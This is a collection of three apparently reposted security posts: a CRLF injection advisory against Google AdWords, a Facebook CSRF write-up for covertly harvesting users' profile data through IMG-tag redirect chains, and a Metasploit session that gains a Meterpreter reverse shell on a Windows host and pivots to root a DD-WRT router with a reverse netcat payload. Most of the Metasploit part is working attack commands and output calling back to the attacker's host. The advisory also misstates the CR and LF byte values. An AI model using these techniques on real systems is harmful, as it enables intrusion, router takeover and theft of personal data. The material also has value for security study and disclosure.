Multiple CRLF Injection / HTTP Response Splitting Vulnerabilities In Google AdWords

Descriptions:

Google AdWords is vulnerable to a new form of application attack technique called HTTP Response
splitting (aka CRLF Injection). HTTP Response Splitting enables an attacker to alter the HTTP
response header structure which can leads to various range of attacks such as web cache poisoning,
temporary defacement, hijacking pages or cross-site scripting (XSS). This happens since the user input is
injected into the value section of http header without properly escaping/removing CRLF characters
which can leads to two HTTP responses instead of one response.

II. Affected Links:

GET /select/ProfessionalWelcome?hl=%0d%0afakeheader&null=Go HTTP/1.0
GET /select/Login?hl= hl=%0d%0afakeheader&null=Go HTTP/1.0

Proof-of-concept:
[Request Details]
Screenshot a: Custom HTTP response added to “hl” parameter

  [Response Header]

 

Solution:

Sanitize CR(0x13) and LF(0x10) from the user input or properly encode the output in order to prevent
the injection of custom.

-----

Vendor Name: Google
Product Name: Google AdWords (https://adwords.google.com/)

----------

# ITS ©

# 2008 - 2009

Facebook "CSRF" attack-Full Disclosure

 How a Facebook App works
Anyone can create an application (or app) that will run within the Facebook platform (and many do!). An app is like a regular website with the aditional benifits of the social network Facebook provides (such as friends, profiles boxes, walls etc).
Technically, a Facebook app is just like a website: its mounted on a normal web sever and serves content to HTTP requests. The difference is that while a normal website receives requests directly from its users, an app has the Facebook platform as a middle man, between the user and the application.

In a regular web site, the user's browsers requests the web content directly from the web server. In contrast, a Facebook application has a "front" address in the apps.facebook.com domain. The user accesses this address and Facebook itself contacts the app server for the content through its real address back.quaji.com.

What Facebook tells the application about the user
Referring to Figure 1, When the user engages the application (arrow 1), Facebook will add some of the user's personal information when contacting the app server (arrow 2), so the response (arrow 3) could be personolized. What details excatlly it sends along depends on many variables, most notabely if the user has authorized the app.

However, Facebook has a module called Automatic Authentication (which sounds like trouble just by its name...). This mechanism allows the app to receive some of the user's info automatically, without the user's consent. These details include full name, profile picture, and friends list.

This, as the saying goes, is a feature not a bug. Its a blaring example of the lenient security model Facebook adopted in the name of functionality, or in their own words: "to develop fully-featured social applications with the least possible amount of friction."
this means any application you access, even before you authorize it, knows quite a lot about you.
But at least you initiated the interaction, right?

The Vulnerability
In the role of the hacker, what we want is to set up an app, have the user's browser access it without his knowledge, and get all the personal information Facebook's Automatic Authentication so graciously gives us.
Facebook for their part try to take precautions against just this type of attack. The docs state:

"This parameter (the user ID) will not always appear. If the user has set stronger privacy settings or is redirected from a non-Facebook URL, this parameter will return null."

Now, 99% of the users do not change their default settings, so the first limitation is not a
problem. But the second is something that requires "fixing". It means that only if you actually engage the application by clicking a link to it (maybe on somebody's wall) will the personal info be sent. We need a way to trick Facebook into think the app page it is clandestinitly accessing, is a result of the user's interaction.

The core of the matter
It turns out that a simple redirect from one page to another in the same application, fools Facebook because the second request originates from a Facebook URL (the first request). Therefore, the second request activates Automatic Authentication and personal info is sent.
To illustrate this imagine the following scenario:

• Browser is directed to
  Code:

  http://apps.facebook.com/hacker-app/step1.php

  Facebook correctly notices that the URL did not originate from with the Facebook domain, and no information is sent. However, step1.php causes a redirect to step2.php.
• Browser is directed to
  Code:

  http://apps.facebook.com/hacker-app/step2.php

  This time, the access seems to have originated from the Facebook domain! Specifically from step1.php. Therefore, personal information is sent along with the request.

Viola.
We have managed to bypass the restriction set forth by AA. But what can we do with this?


The Exploit
Ah, the interesting part. :)
The simplest way to expoit this is by luring the innocent user to a page on our website (say by sending a link in the mail). In this page we can cause the user's browser to access any URL (using a hidden IFRAME for example). Specifically we'll send the user to:

Code:

http://apps.facebook.com/hacker-app/step1.php.

This will cause the browser to then go to step2.php and we get the info.

However there is a much more powerful attack possible here (thanks S.B).
We can craft the entire thing in an IMG tag. An IMG tag also causes the browser to go the specified address looking for image data. And if the the browser recieves a redirect response, it relentlesly goes through it looking for those pixels.
The huge difference between the two approches is that many blogs/forum sites allow user comments to contain IMG tags, and therfore the attack can be launched without having the user visit our website. Instead, merely viewing a "treated" forum thread will cause the attack to take place.

The icing on the cake
Hacking is an elegant art. As such, an exploit is messured by its finishing touches, as much as its payload. While having an IMG tag point to

Code:

http://apps.facebook.com/hacker-app/step1.php

will work, it is suspicious, and the user ends up with a broken image. So we add:

• IMG tag point to a normal looking URL such as
  Code:

  http://quaji.com/attack.gif.

  However, becuase the address resides on our server, this URL does not return an image but rather a redirect to
  Code:

  http://apps.facebook.com/hacker-app/step1.php.

  This allows to stop the attack at anytime without leaving a trace by causing this URL to return a normal image instead of a redirect.
• The second app page, step2.php, after collecting the user's information, can further redirect the user's browser to an actual normal image. Facebook allows this, and a redirect from an application page to an external address goes unaltered. This causes the browser to finally find pixels and display an image to the user. The user will notice nothing, as the end behaviour is complete normal.
  

Lets see this all put together:

Figure 2. The anatomy of the full fledged attack

1. User naively surfs to a well-known and trusted forum at forum.com.
2. The thread he is viewing contains a malicious comment with an IMG tag point at quaji.com
3. The user's browsers attempts to retrieve the image
4. but instead is redirected to
   Code:

   http://apps.facebook.com/hacker-app/step1.php.

5. The request is forwarded through the Facebook platform,
6. to the hackers app server
7. and is again redirected to
   Code:

   http://apps.facebook.com/hacker-app/step2.php.

8. and back to the browser.
9. Browser attempts
   Code:

   http://apps.facebook.com/hacker-app/step2.php

10. The Facebook platform passes the request to the hacker's app server adding the user's personal information after being tricked into thinking it should do so.
11. To finish off, a redirect is issused to a proper image.

Aftermath
This is special type of CSRF attack in which the hacker not only causes an action on behalf of the user, he is also at the recieving end, obtaining the stolen information.
The attack in its final form is very powerful and it was surprising even to me. While the specific vulnerability in this case was a glitch in the Automatic Authentication process, the rest of the attack is based on the normal behaviour of web browsers and servers. For this reason I presume this attack method is still applicable to Facebook and other sites that collect personal information. If you find another example, I'd love to hear about it. Vid here :

Code:

http://securitytube.net/CSRF-Attack-Demo-against-Facebook-video.aspx

# ITS ©

# 2008 - 2009

Using Metasploit DD-WRT Exploit Module Thru Pivot

Using Metasploit DD-WRT Exploit Module 

Thru Pivot

---

Metasploit now has in the 3.3 Dev SVN an exploit for embedded device Linux distribution DD-WRT. This exploit module abuses a metacharacter injection vulnerability in the HTTP management server of wireless gateways running DD-WRT. This flaw allows an unauthenticated attacker to execute arbitrary commands as the root user account. It was argued that this exploit is of low impact by some since the distribution only listens for HTTP connections thru the internal interface. In this example of using the exploit the exploit will be used thru a pivot obtained thru a client side exploit from which we will pivot, do a discovery, finger print the device and exploit it. In the following example we will start by showing our IP of the attacker machine, receiving the Meterpreter shell and showing the target box IP thru a cmd shell:

msf > ifconfig
 eth0[*] exec: ifconfig eth0eth0
      Link encap:Ethernet  HWaddr 00:0e:7f:f9:12:62  
      inet addr:192.168.1.158  Bcast:192.168.1.255  Mask:255.255.255.0
      inet6 addr: fe80::20e:7fff:fef9:1262/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
      RX packets:55461 errors:0 dropped:0 overruns:0 frame:0         
      TX packets:23899 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:58889891 (58.8 MB)  TX bytes:3107063 (3.1 MB)
Interrupt:20
 msf > use exploit/multi/handler
 msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
 PAYLOAD => windows/meterpreter/reverse_tcp
 msf exploit(handler) > set LHOST 192.168.1.158
 LHOST => 192.168.1.158
 msf exploit(handler) > set ExitOnSession false
 ExitOnSession => false
 msf exploit(handler) > exploit -j -z[*] 
 Exploit running as background job.
 msf exploit(handler) >
 [*] Handler binding to LHOST 0.0.0.0
 [*] Started reverse handler
 [*] Starting the payload handler...
 [*] Transmitting intermediate stager for over-sized stage...(216 bytes) 
 [*] Sending stage (718336 bytes)
 [*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.100:1085)
 msf exploit(handler) > session -i 1
 [-] Unknown command: session.
 msf exploit(handler) > sessions -i 1
 [*] Starting interaction with 1...
 meterpreter > sysinfo
 Computer: AWINXP01
 OS      : Windows XP (Build 2600, Service Pack 2).
 meterpreter > execute -H -f -c -i -f cmd.exe
 Process 1708 created.Channel 1 created.
 Microsoft Windows XP [Version 5.1.2600]
 (C) Copyright 1985-2001 Microsoft  Corp.
 C:\Documents and Settings\administrator\Desktop>ipconfig
 ipconfig
 Windows IP ConfigurationEthernet adapter Local Area Connection:
 Connection-specific DNS Suffix  . : 
 IP Address. . . . . . . . . . . . : 192.168.111.200
 Subnet Mask . . . . . . . . . . . : 255.255.255.0
 Default Gateway . . . . . . . . . : 192.168.111.2
 C:\Documents and Settings\administrator\Desktop>exit
 meterpreter >

Know we proceed to background this session and set a route thru the session to the network behind the NAT router from the information we gathered:

meterpreter > Background session 1? [y/N] 
 msf exploit(handler) > 
 msf exploit(handler) > route add 192.168.111.0 255.255.255.0 1
 msf exploit(handler) > route print
 Active Routing Table==================== 
 Subnet                  Netmask            Gateway
  ------                       -------                 ------- 
  192.168.111.0      255.255.255.0      Session 1  
msf exploit(handler) >

Now that the route is created we can use the TCP Port Scanner Auxiliary Module to do a TCP scan of the default gateway of the target network:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp
 msf auxiliary(tcp) > info
 Name: TCP Port Scanner
  Version: 6823   
  License: Metasploit Framework License (BSD)
Provided by: 
  hdm 
  kris katterjohn 
  Basic options:
  Name        Current    Setting    Required    Description  
     ----        ---------------     --------  -----------       --------------
PORTS      1-10000                   yes       Ports to scan (e.g. 22-25,80,110-900)             RHOSTS                                  yes       The target address range or CIDR identifier     THREADS   1                           yes       The number of concurrent threads               TIMEOUT   1000                       yes       The socket connect timeout in milliseconds   Description:
  Enumerate open TCP services
msf auxiliary(tcp) > set PORTS 22,23,80,443
PORTS => 22,23,80,443msf auxiliary(tcp) > set RHOSTS 192.168.111.2
RHOSTS => 192.168.111.2
msf auxiliary(tcp) > run[*]  TCP OPEN 192.168.111.2:22[*]  TCP OPEN 192.168.111.2:23[*]  TCP OPEN 192.168.111.2:80[*] Auxiliary module execution completed
msf exploit(handler) >

Since we are going thru a Meterpreter TCP pivot is important to remember to keep the THREAD variable to 1 since Meterpreter is not multithreaded and limit the number of ports to those you want to target so as to not expend a large amount of time scanning. Now that the ports that are open we proceed to finger print one of the services by getting the banner using the connect command in Metasploit:

msf exploit(handler) > connect -c 1 192.168.111.2 23
[*] Connected to 192.168.111.2:23
DD-WRT v24 std (c) 2007 NewMedia-NET GmbHRelease: 01/26/07 (SVN revision: 5660M)
�
DD-WRTx86CI login: ^Cmsf exploit(handler) >
msf exploit(handler) >

As we can see the Telnet login banner identifies the target machine as a DD-WRT box. We know proceed to load the exploit module and set a reverse netcat payload and set the other appropriate variables. Onece we have ran the exploit and a session is created we proceed to run the Linux uname command to check the version of the device and to also check the shell is working:

msf exploit(handler) > use exploit/linux/http/ddwrt_cgibin_exec
 msf exploit(ddwrt_cgibin_exec) > set PAYLOAD cmd/unix/reverse_netcat
 PAYLOAD => cmd/unix/reverse_netcat
 msf exploit(ddwrt_cgibin_exec) > set LPORT 2222
LPORT => 2222
msf exploit(ddwrt_cgibin_exec) > set RHOST 192.168.111.2
RHOST => 192.168.111.2
msf exploit(ddwrt_cgibin_exec) > set LHOST 192.168.1.158
LHOST => 192.168.1.158
msf exploit(ddwrt_cgibin_exec) > exploit
[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler.[*] Sending GET request with encoded command line.....[*] Command shell session 2 opened (192.168.1.158:2222 -> 192.168.1.100:4531)..
uname -aLinux DD-WRTx86CI 2.6.19.2dd-wrt #45 Fri Jan 26 06:28:01 CET 2007 i686 unknown

One advantage is that since the shell is running thru a Meterpreter session all traffic outside of the target network to the attackers box is encrypted using SSL.

The metasploit exploit is avaible here :  Go To Exploit

# IT-S ©

# 2008 -2009